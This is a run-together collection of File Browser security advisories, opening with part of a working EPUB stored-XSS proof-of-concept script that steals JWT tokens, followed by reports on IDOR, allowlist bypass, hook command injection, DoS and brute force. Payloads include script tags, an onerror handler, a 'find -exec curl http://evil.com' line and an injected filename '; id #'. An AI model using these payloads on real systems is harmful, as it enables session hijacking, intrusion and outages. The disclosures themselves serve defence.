ap.addargument("-t", "--target", required=True, help="Base URL of File Browser (e.g. http://localhost:8080)") ap.addargument("-u", "--user", required=True, help="Username to authenticate with") ap.addargument("-p", "--password", required=True, help="Password to authenticate with") if len(sys.argv) == 1: ap.printhelp() sys.exit(1) args = ap.parseargs()
base = args.target.rstrip("/")
print() print("[] ATTACK BEGINS...") print("====================")
print(f" [1] Authenticating to {base}") token = login(base, args.user, args.password) print(f" Logged in as: {args.user}")
print(f"\n [2] Building malicious EPUB") epubdata = buildepub() print(f" EPUB size: {len(epubdata)} bytes")
uploadpath = "/pocxsstest.epub" print(f"\n [3] Uploading to {uploadpath}") requests.delete(f"{base}/api/resources{uploadpath}", headers={"X-Auth": token}, timeout=10) r = requests.post( f"{base}/api/resources{uploadpath}?override=true", data=epubdata, headers={ "X-Auth": token, "Content-Type": "application/epub+zip", }, timeout=30 )
if r.statuscode in (200, 201, 204): print(f" Upload OK ({r.statuscode})") else: print(f" Upload FAILED: {r.statuscode} {r.text[:200]}") sys.exit(1)
previewurl = f"{base}/files{uploadpath}"
print(f"\n [4] Done") print(f" Preview URL: {previewurl}") print("====================") print() print() print(f"Open the URL above in a browser. You should see:") print(f" - Red text: \"XSS OK\" + stolen JWT token") print(f" - Orange text: victim's public IP (via ifconfig.me)") print() print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).") print(f"The attack is silent — JWT theft and network exfiltration work.")
if name == "main": main()
And terminal output: bash root@server205:~/sec-filebrowser# python3 pocxssepub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t
Stored XSS via EPUB PoC Affected: filebrowser/filebrowser <=v2.62.1 Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true } Related: CVE-2024-35236 (same pattern in audiobookshelf)
[] ATTACK BEGINS... ==================== [1] Authenticating to http://localhost Logged in as: admin
[2] Building malicious EPUB EPUB size: 1927 bytes
[3] Uploading to /pocxsstest.epub Upload OK (200)
[4] Done Preview URL: http://localhost/files/pocxsstest.epub ====================
Open the URL above in a browser. You should see: - Red text: "XSS OK" + stolen JWT token - Orange text: victim's public IP (via ifconfig.me)
NOTE: alert() is blocked by iframe sandbox (no allow-modals). The attack is silent — JWT theft and network exfiltration work.
<br/>
Impact - JWT token theft — full session hijacking - Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token
A cross-site scripting (XSS) vulnerability in FileBrowser before v2.23.0 allows an authenticated attacker to escalate privileges to Administrator via user interaction with a crafted HTML file or URL.
Summary Stored XSS is possible via share metadata fields (e.g., title, description) that are rendered into HTML for /public/share/<hash> without context-aware escaping. The server uses text/template instead of html/template, allowing injected scripts to execute when victims visit the share URL.
Details The server renders public/index.html using text/template and injects user-controlled share fields (title/description/etc.) into HTML contexts. text/template does not perform HTML contextual escaping like html/template. Because share metadata is persistent, the payload becomes stored and executes whenever a victim opens the affected share page.
Relevant code paths: - backend/http/static.go (template rendering and share metadata assignment) - backend/http/httpRouter.go (template initialization) - frontend/public/index.html (insertion points for title/description and related fields)
PoC 1. Login as a user with share creation permission. 2. Create a share (POST /api/share) with malicious metadata: - title = </title><script>alert("xss")</script><title> 3. Open the resulting /public/share/<hash> URL in a browser. 4. Expected: Payload is safely escaped and displayed as text. 5. Actual: JavaScript executes in victim's browser (stored XSS).
Tested on Docker image: gtstef/filebrowser:stable (version v1.2.1-stable).
Impact - Arbitrary script execution in application origin. - Potential account/session compromise, CSRF-like action execution, data exfiltration from authenticated contexts. - Affects anyone (including unauthenticated visitors) opening the malicious share URL. - The XSS is stored and persistent — no social engineering beyond sharing the link is required.
Summary It has been found an Insecure Direct Object Reference (IDOR) vulnerability in the FileBrowser application's share deletion functionality. This vulnerability allows any authenticated user with share permissions to delete other users' shared links without authorization checks.
The impact is significant as malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.
Details Technical Analysis
The vulnerability exists in /http/share.go at lines 72-82. The shareDeleteHandler function processes deletion requests using only the share hash without comparing the link.UserID with the current authenticated user's ID (d.user.ID). This missing authorization check enables the vulnerability.
var shareDeleteHandler = withPermShare(func( http.ResponseWriter, r http.Request, d data) (int, error) { hash := strings.TrimSuffix(r.URL.Path, "/") hash = strings.TrimPrefix(hash, "/")
if hash == "" { return http.StatusBadRequest, nil }
err := d.store.Share.Delete(hash) // Missing ownership validation return errToStatus(err), err })
PoC Reproduce Steps:
Prerequisites: Two authenticated user accounts (User A and User B) with share permissions
Step 1: User A creates a share link and obtains the share hash (e.g., MEEuZK-v)
Step 2: User B authenticates and obtains a valid JWT token
Step 3: User B sends DELETE request to /api/share/MEEuZK-v with their own JWT token
Step 4: Observe that User A's share is deleted without authorization
DELETE /api/share/MEEuZK-v HTTP/1.1 Host: filebrowser.local Content-Type: application/json
Impact
The impact is significant as malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.
Summary
The fix in commit b6a4fb1 ("self-registered users don't get execute perms") stripped Execute permission and Commands from users created via the signup handler. The same fix was not applied to the proxy auth handler. Users auto-created on first successful proxy-auth login are granted execution capabilities from global defaults, even though the signup path was explicitly changed to prevent execution rights from being inherited by automatically provisioned accounts.
Confirmed on v2.62.2 (commit 860c19d).
Root Cause
auth/proxy.go createUser() applies defaults without restriction:
user := &users.User{ Username: username, Password: hashedRandomPassword, LockPassword: true, } setting.Defaults.Apply(user) // No restriction on Execute, Commands, or Admin
Compare with http/auth.go signup handler (lines 170-178):
d.settings.Defaults.Apply(user) user.Perm.Admin = false // Self-registered users should not inherit execution capabilities // from default settings, regardless of what the administrator has // configured as the default. user.Perm.Execute = false user.Commands = []string{}
The commit message for b6a4fb1 states: "Execution rights must be explicitly granted by an admin." Users auto-created via proxy auth are also automatically provisioned (created on first login without explicit admin action), and the admin has not explicitly granted them execution rights.
PoC
Tested on filebrowser v2.62.2, built from HEAD.
# Configure with proxy auth, default commands, and exec filebrowser config set --auth.method=proxy --auth.header=X-Remote-User \ --commands "git,ls,cat,id"
# Login as admin and verify defaults have execute=true, commands set ADMINTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: admin")
# Auto-create new user via proxy header PROXYTOKEN=$(curl -s http://HOST/api/login -H "X-Remote-User: newproxyuser")
# Check permissions curl -s http://HOST/api/users -H "X-Auth: $ADMINTOKEN" | jq '.[] | select(.username=="newproxyuser") | {execute: .perm.execute, commands}'
Result:
{ "execute": true, "commands": ["git", "ls", "cat", "id"] }
The auto-created proxy user inherited Execute and the full Commands list. A user created via signup would have execute: false and commands: [].
Impact
In proxy-auth deployments where the admin has configured default commands, users auto-provisioned on first proxy login receive execution capabilities that were not explicitly granted. The project established a security invariant in commit b6a4fb1: automatically provisioned accounts must not inherit execution rights from defaults. The proxy auto-provisioning path violates that invariant.
This is an incomplete fix for GHSA-x8jc-jvqm-pm3f ("Signup Grants Execution Permissions When Default Permissions Includes Execution"), which addressed the signup handler but not the proxy auth handler.
Preconditions
- Proxy auth enabled (--auth.method=proxy) - Exec not disabled - Default settings include non-empty Commands (admin-configured)
Suggested Fix
Apply the same restrictions as the signup handler:
setting.Defaults.Apply(user) user.Perm.Admin = false user.Perm.Execute = false user.Commands = []string{}
---
Update: Fix submitted as PR #5890.
A Cross-Site Request Forgery (CSRF) vulnerability exists in Filebrowser < 2.18.0 that allows attackers to create a backdoor user with admin privilege and get access to the filesystem via a malicious HTML webpage that is sent to the victim.
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.1, when an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. This vulnerability is fixed in 2.63.1.
Summary ##
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact ##
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description ##
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website <https://gtfobins.github.io> gives a comprehensive overview:
<https://gtfobins.github.io/gtfobins/cpio> <https://gtfobins.github.io/gtfobins/find> <https://gtfobins.github.io/gtfobins/sed> <https://gtfobins.github.io/gtfobins/git> <https://gtfobins.github.io/gtfobins/env>
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
!image
Recommended Countermeasures ##
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
bash $ find . -exec curl http://evil.com {} \; <HTML> <HEAD> [...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \; find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline ##
2025-03-26 Identified the vulnerability in version 2.32.0 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References ##
prlimit "Distroless" Container Images. Credits ##
Mathias Tausig (SBA Research)
Summary ##
In the web application, all users have a scope assigned, and they only have access to the files within that scope. The Command Execution feature of Filebrowser allows the execution of shell commands which are not restricted to the scope, potentially giving an attacker read and write access to all files managed by the server.
Impact ##
Shell commands are executed with the uid of the server process without any further restrictions. This means, that they will have access to at least
all files managed by the application from all scopes, even those the user does not have access to in the GUI. the Filebrowser database file containing the password hashes of all accounts.
The concrete impact depends on the commands being granted to the attacker, but due to other vulnerabilities identified ("Bypass Command Execution Allowlist", "Shell Commands Can Spawn Other Commands", "Insecure File Permissions") it is likely, that full read- and write-access will exist.
Read access to the database means, that the attacker is capable of extracting all user password hashes. This enables an offline dictionary attack on the passwords of all accounts, though the choice of the password hash function (bcrypt with a complexity of 10) gives a strong protection against such attacks. Write access to the database means that attackers are capable of changing a user's password hash, allowing them to impersonate any user account, including an administrator.
Vulnerability Description ##
Shell commands executed by a user are created as a simple subprocess of the application without any further restrictions. That means, that they have full access to files accessible by the application. The scope that is assigned to every account is not considered.
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
Any exploit highly depends on the commands granted to the attacker. The following screenshot shows, how all password hashes can be extracted using only the grep command:
!image
Recommended Countermeasures ##
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration. As a defense-in-depth measure, organizations not requiring command execution should operate the Filebrowser from a distroless container image.
There are two approaches to fixing this issue:
1. Limiting the process when it is started e.g., by using user namespaces with a tool like Bubblewrap. If this path is chosen, it is important to use a method that works both on a bare-metal server and within an unprivileged container. 2. Re-architecting the command execution feature so that file in the various scopes have a distinct uid as an owner and all shell command are executed under the uid of the user's scope.
Timeline ##
2025-03-26 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-25 A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References ##
Sandboxing Applications with Bubblewrap: Securing a Basic Shell "Distroless" Container Images.
Credits ##
Mathias Tausig (SBA Research)
Summary ##
The Command Execution feature of Filebrowser only allows the execution of shell command which have been predefined on a user-specific allowlist. The implementation of this allowlist is erroneous, allowing a user to execute additional commands not permitted.
Impact ##
A user can execute more shell commands than they are authorized for. The concrete impact of this vulnerability depends on the commands configured, and the binaries installed on the server or in the container image. Due to the missing separation of scopes on the OS-level, this could give an attacker access to all files managed the application, including the File Browser database.
Vulnerability Description ##
For a user to make use of the command execution feature, two things need to happen in advance:
1. An administrator needs to grant that account the Execute commands permission 2. The command to be executed needs to be listed in the Commands input field (also done by an administrator)
If a user tries to execute a different command, it gets rejected by the application.
The allowlist verification of a command happens in the function CanExecute in the file users/users.go:
go // CanExecute checks if an user can execute a specific command. func (u User) CanExecute(command string) bool { if !u.Perm.Execute { return false }
for , cmd := range u.Commands { if regexp.MustCompile(cmd).MatchString(command) { return true } }
return false }
This check employs a regular expression which does not test if the command issued (command) is identical to a configured one (cmd, part of the array u.Commands) but rather only if the issued command contains an allowed one. This has the consequence, that, e.g., if you are only granted access to the ls command, you will also be allowed to execute lsof and lsusb.
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept ##
Grant a user the Execute commands permission and allow them to use only ls in the Commands field.
!image
Afterwards, login as that user, open a command execution window and execute lsof and lsusb.
!image
Recommended Countermeasures ##
The CanExecute function in the Filebrowser source code should be fixed to only allow exact matches of the command specified instead of doing partial matching. The correctness of this fix should be extensively tested in the application's automated test suite.
Timeline ##
2025-03-25 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-25 CVE ID assigned by GitHub 2025-06-26 Fix released in version 2.33.10
References ##
Credits ##
Mathias Tausig (SBA Research)
Summary An authenticated user can bypass the application's "Disallow" file path rules by modifying the request URL. By adding multiple slashes (e.g., //private/) to the path, the authorization check fails to match the rule, while the underlying filesystem resolves the path correctly, granting unauthorized access to restricted files.
Details The vulnerability allows users to bypass "Disallow" rules defined by administrators.
The issue stems from how the application handles URL path normalization and rule matching:
1. Router Configuration: The router in http/http.go is configured with r.SkipClean(true). This prevents the automatic collapse of multiple slashes (e.g., // becoming /) before the request reaches the handler. 2. Insecure Rule Matching: The rule enforcement logic in rules/rules.go relies on a simple string prefix match: strings.HasPrefix(path, r.Path). If a rule disallows /private, a request for //private fails this check because //private does not strictly start with /private. 3. Filesystem Resolution: After bypassing the rule check, the non-normalized path is passed to the filesystem. The filesystem treats the multiple slashes as a single separator, successfully resolving //private/secret.txt and serving the file.
PoC Python minimal PoC
The following steps demonstrate the vulnerability: 1. Setup: - Admin user creates a folder /private and adds a file /private/secret.txt. <img width="971" height="719" alt="Screenshot20260123151608" src="https://github.com/user-attachments/assets/2071c92e-2bbe-46f8-a338-05b0f53d381a" /> <img width="890" height="386" alt="Screenshot20260123151551" src="https://github.com/user-attachments/assets/1def540a-de26-4666-a6ab-058d5927bfbe" /> - Admin adds a Disallow rule for user bob on the path /private. <img width="1005" height="1126" alt="Screenshot20260123151502" src="https://github.com/user-attachments/assets/e9b57d59-f4ab-41d8-b056-8ffdaa219963" />
2. Verification: - User bob requests GET /api/resources/private/secret.txt. - Server responds: 403 Forbidden. <img width="1193" height="721" alt="Screenshot20260123154446" src="https://github.com/user-attachments/assets/dd092a10-2f8c-4a3c-b48f-d540c483bb5a" /> 3. Exploit: - User bob requests GET /api/resources//private/secret.txt. - Server responds: 200 OK (Bypass successful). <img width="1193" height="721" alt="Screenshot20260123154544" src="https://github.com/user-attachments/assets/27ebb82c-f7c2-467d-ae82-f495ae3aa2d4" /> <img width="1196" height="818" alt="Screenshot20260123154618" src="https://github.com/user-attachments/assets/82035884-9a24-490d-b928-7bdd2dbe3193" />
Impact This vulnerability impacts the confidentiality and integrity of data stored in filebrowser. - Confidentiality: Users can read files they are explicitly forbidden from accessing. - Integrity: If the user has general write permissions but is restricted from specific directories via rules, they can bypass these restrictions to rename, delete, or modify files.
Summary
A Denial of Service (DoS) vulnerability exists in the file processing logic when reading a file on endpoint Filebrowser-Server-IP:PORT/files/{file-name} . While the server correctly handles and stores uploaded files, it attempts to load the entire content into memory during read operations without size checks or resource limits. This allows an authenticated user to upload a large file and trigger uncontrolled memory consumption on read, potentially crashing the server and making it unresponsive.
Details
The endpoint /api/resources/{file-name} accepts PUT requests with plain text file content. Uploading an extremely large file (e.g., ~1.5 GB) succeeds without issue. However, when the server attempts to open and read this file, it performs the read operation in an unbounded or inefficient way, leading to excessive memory usage.
This approach attempts to read the entire file into memory at once. For large files, this causes memory exhaustion resulting in a crash or serious performance degradation. In the filebrowser codebase, this can be due to: - Lack of memory-safe streaming or chunked reading during file processing. - Absence of validation or size limits during the read phase. - Possibly synchronous or blocking file parsing without protection.
PoC 0. I run the project via docker (latest version, 2.38.0) using the following command found in the documentation:
docker run \ -v filebrowserdata:/srv \ -v filebrowserdatabase:/database \ -v filebrowserconfig:/config \ -p 8080:80 \ filebrowser/filebrowser
1. First login in your filebrowser and create a simple empty file eg. name it another 2. We will add a large data into this file via PUT method on the api by running the following Python script (as an exploit PoC script)
python import requests
url = "http://filebrowser-server-IP:8080/api/resources/another" authtoken = "eyJh-auth-token-goes-here" headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x8664; rv:139.0) Gecko/20100101 Firefox/139.0", "Accept": "/", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Referer": "http://filebrowser-server-IP:8080/files/another", "X-Auth": authtoken, "Content-Type": "text/plain;charset=UTF-8", "Origin": "http://filebrowser-server-IP:8080", "Connection": "close", "Priority": "u=0" }
Generate a very large string into a file (e.g 1.6 GB)
base = "testing data goes here\n" repeatcount = 120000000
data = base repeatcount
print("Sending large payload...") response = requests.put(url, headers=headers, data=data)
Output the response print(f"Status Code: {response.statuscode}") print("Response Body:") print(response.text)
3. After running this script, go back in your filebrowser dashboard and try to open the file another - try to read the content in this file. The file will open on another tab and it will hang there consuming memory and resources. The entire server will remain unresponsive until the entire file loads (takes long time)
Impact Denial of Service
Evidence <img width="2191" height="350" alt="Pasted image (4)" src="https://github.com/user-attachments/assets/98af76ad-0714-40a9-a92b-b2d4a5941ab7" />
<img width="2012" height="1039" alt="Pasted image (2)" src="https://github.com/user-attachments/assets/d1ba3282-6c4d-4d35-81c7-87d4e0274f85" />
Summary ##
The Markdown preview function of File Browser v2.32.0 is vulnerable to Stored Cross-Site-Scripting (XSS). Any JavaScript code that is part of a Markdown file uploaded by a user will be executed by the browser
Impact ##
A user can upload a malicious Markdown file to the application which can contain arbitrary HTML code. If another user within the same scope clicks on that file, a rendered preview is opened. JavaScript code that has been included will be executed.
Malicious actions that are possible include: Obtaining a user's session token Elevating the attacker's privileges, if the victim is an administrator (e.g., gaining command execution rights)
Vulnerability Description ##
Most Markdown parsers accept arbitrary HTML in a document and try rendering it accordingly. For instance, if one creates a file called xss.md with the following content:
markdown Hallo
<b>foo</b>
<img src="xx" onerror=alert(9)> <i>bar</i>
Bold and italic text will be rendered. Also, the renderer used in File Browser will try to display the image and execute the code in the onerror event handler.
Proof of Concept ##
The screenshot shows that the code from the file mentioned above has actually been executed in the victim's browser:
!JavaScript code being executed in the Markdown Preview
Recommended Countermeasures ##
The most thorough fix would be to reconfigure the application's Markdown parser to ignore all HTML elements and only render rich text which is part of the Markdown specification. If HTML rendering is considered to be a required feature, an HTML sanitizer like DOMPurify should be used, preferably in conjunction with a Content Security Policy (CSP).
Timeline ##
2025-03-25 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-18 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-26 CVE ID assigned by GitHub 2025-06-26 Fix released with version 2.33.7
References ##
DOMPurify
Credits ##
Mathias Tausig (SBA Research)
filebrowser versions before v2.63.21 fail to canonicalize paths before evaluating access rules, allowing authenticated users to bypass administrator-defined deny rules using case-variant or backslash-separated paths. Attackers can request files with alternate path representations that match no rule but resolve to the same filesystem object, gaining unauthorized access to denied files within their scope.
Summary ##
All user accounts authenticate towards a File Browser instance with a password. A missing password policy and brute-force protection makes it impossible for administrators to properly secure the authentication process.
Impact ##
Attackers can mount a brute-force attack against the passwords of all accounts of an instance. Since the application is lacking the ability to prevent users from choosing a weak password, the attack is likely to succeed.
Vulnerability Description ##
The application implement a classical authentication scheme using a username and password combination. While employed by many systems, this scheme is quite error-prone and a common cause for vulnerabilities. File Browser's implementation has multiple weak points:
1. Since the application is missing the capability for administrators to define a password policy, users are at liberty to set trivial and well-known passwords such as secret or even ones with only single digit like 1. 2. New instances are set up with a default password of admin for the initial administrative account. This password is well known and easily guessable. While the documentation advises to change this password, the application does not technically enforce it. 3. The application does not implement any brute-force protection for the authentication endpoint. Attackers can make as many guesses for a password as the network bandwidth allows.
The combination of these problems makes it likely, that an attacker will succeed in compromising at least one account in a File Browser instance, possibly even one with administrative privileges. The likelihood of such an attack increases substantially for internet-facing instances.
Proof of Concept ##
The insecure default credentials are documented on the application's website:
!image
The following HTTP communication shows, that a trivial password of 1 can be configured by a user:
http hl:17 PUT /api/users/2 HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://filebrowser.local:8080/settings/profile X-Auth: eyJ[...] Content-Type: text/plain;charset=UTF-8 Content-Length: 319 Origin: http://filebrowser.local:8080 Connection: keep-alive Cookie: auth=eyJ[...] X-PwnFox-Color: cyan Priority: u=0
{"what":"user","which":["password"],"data":{"id":2,"locale":"en","viewMode":"mosaic","singleClick":false,"perm":{"admin":false,"execute":true,"create":true,"rename":true,"modify":true,"delete":true,"share":true,"download":true},"commands":[],"lockPassword":false,"hideDotfiles":false,"dateFormat":false,"password":"1"}}
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 27 Mar 2025 08:31:34 GMT Content-Length: 7
200 OK
The missing brute-force protection can easily be tested by repeatedly sending the following request to the application with a tool such as Burp or hydra.
POST /api/login HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 52 Origin: http://filebrowser.local:8080
{"username":"admin","password":"myPasswordGuess","recaptcha":""}
HTTP/1.1 403 Forbidden Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Thu, 27 Mar 2025 08:39:48 GMT Content-Length: 14
403 Forbidden
After sending 3000 bad passwords to the application within a few seconds, a successful authentication is still possible for the account:
http POST /api/login HTTP/1.1 Host: filebrowser.local:8080 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json Content-Length: 54 Origin: http://filebrowser.local:8080 Connection: keep-alive
{"username":"admin","password":"myCorrectPassword","recaptcha":""}
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; Content-Type: text/plain Date: Thu, 27 Mar 2025 08:39:58 GMT Content-Length: 508
eyJ[...]
Recommended Countermeasures ##
The application should add an option to define a password policy in its administrative interface which allows to set a minimum length for passwords. The default settings should be in line with the NIST publication SP 800-63B. This means, that now passwords of fewer than 8 characters should ever be allowed by the application. Whenever a user sets a new password, the application should verify whether that password is part of a "known passwords" list.
The application should either create a secure and random password for the admin account upon initialization or enforce an immediate password change when that user logs in for the first time using the default password.
A brute-force protection needs to be implemented, which limits the allowed amount of authentication attempts per user within a certain timeframe. This implementation should employ device tokens to prevent targeted lockout attacks.
In addition, it would be advisable to allow the integration of the application into and existing Identity Provider using protocols like LDAP or OIDC.
Timeline ##
2025-03-27 Identified the vulnerability in version 2.32.0 2025-04-11 Contacted the project 2025-04-29 Vulnerability disclosed to the project 2025-06-25 Uploaded advisories to the project's GitHub repository 2025-06-26 CVE ID assigned by GitHub 2025-06-29 Fix released in version 2.34.1. 12 minimum characters as default has been chosen since the implementation does not include protection against brute force attacks.
References ##
OWASP Authentication Cheat Sheet NIST Special Publication 800-63B. Digital Identity Guidelines. Passwords Pwned Passwords Common Credentials CWE-307: Improper Restriction of Excessive Authentication Attempts CWE-521: Weak Password Requirements CWE-1392: Use of Default Credentials
Credits ##
Mathias Tausig (SBA Research)
Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2.
Details The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model backend/http/share.go convertToFrontendShareResponse(line 63) s.DownloadURL = getShareURL(r, s.Hash, true, s.Token) 2. The public endpoint: GET /public/api/share/info returns shareLink.CommonShare without clearing DownloadURL.
Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability.
The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL
PoC 1. Create a password protected share as an authenticated user
2. Copy the public share URL (the clipboard WITHOUT an arrow) http://yourdomain/public/share/yoursharedhash Example: http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw
3. Query the public share endpoint via curl request: curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: /' Example: curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: /' Response includes: { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qrcode" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" } Note the response "hasPassword": true and downloadURL includes token= parameter
4. Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering Example: http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D
Browser downloads file immediately without requiring password
Impact An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise
Recommended Remediation Sanitize DownloadURL in public share info responses via commonShare.DownloadURL = "" before returning the json response in shareInfoHandler method located in backend/share.go
Structural fix, only generate tokenized URLs after successful password validation
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that it also applies to Hook Runners and not just to the Shell Commands, since all advisories until now focused only on the shell command execution. For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Overview
The hook system in File Browser — which executes administrator-defined shell commands on file events such as upload, rename, and delete — is vulnerable to OS command injection. Variable substitution for values like $FILE and $USERNAME is performed via os.Expand without sanitization. An attacker with file write permission can craft a malicious filename containing shell metacharacters, causing the server to execute arbitrary OS commands when the hook fires. This results in Remote Code Execution (RCE).
Affected Location
- File: runner/runner.go - Function: Runner.exec
Technical Details
Runner.exec expands template variables inside hook command strings using os.Expand:
go // runner/runner.go envMapping := func(key string) string { switch key { case "FILE": return path // attacker-controlled filename case "USERNAME": return username // attacker-controlled username // ... } }
for i, arg := range command { if i == 0 { continue } command[i] = os.Expand(arg, envMapping) // expands $FILE, $USERNAME, etc. }
The expanded value is then passed as a shell argument string. os.Expand performs plain string substitution with no escaping. If an admin has configured a hook such as:
sh -c "echo created $FILE"
...and an attacker creates a file named ; id #, the variable expansion produces:
sh -c "echo created /path/to/; id #"
The ; terminates the echo command and the shell executes id with server privileges. The # character comments out the remainder, preventing syntax errors.
This pattern is exploitable across all hook events: beforeupload, afterupload, beforerename, afterrename, beforedelete, afterdelete, etc.
Attack Scenario / Reproduction Steps
1. Admin configures an afterupload hook: sh -c "echo created $FILE". 2. The attacker (authenticated user with upload permission) uploads a file named ; id #. 3. The upload succeeds and the hook fires automatically. 4. The server executes: sh sh -c "echo created /uploads/; id #" 5. The id command runs, confirming RCE.
Impact
Any authenticated user with file create, upload, or rename permissions can achieve arbitrary RCE on the server when shell-based hooks are configured. The attacker does not need to know the exact hook command — any hook that embeds $FILE in a shell string is exploitable by crafting the filename accordingly.
Proof of Concept
go package runner
import ( "os" "testing"
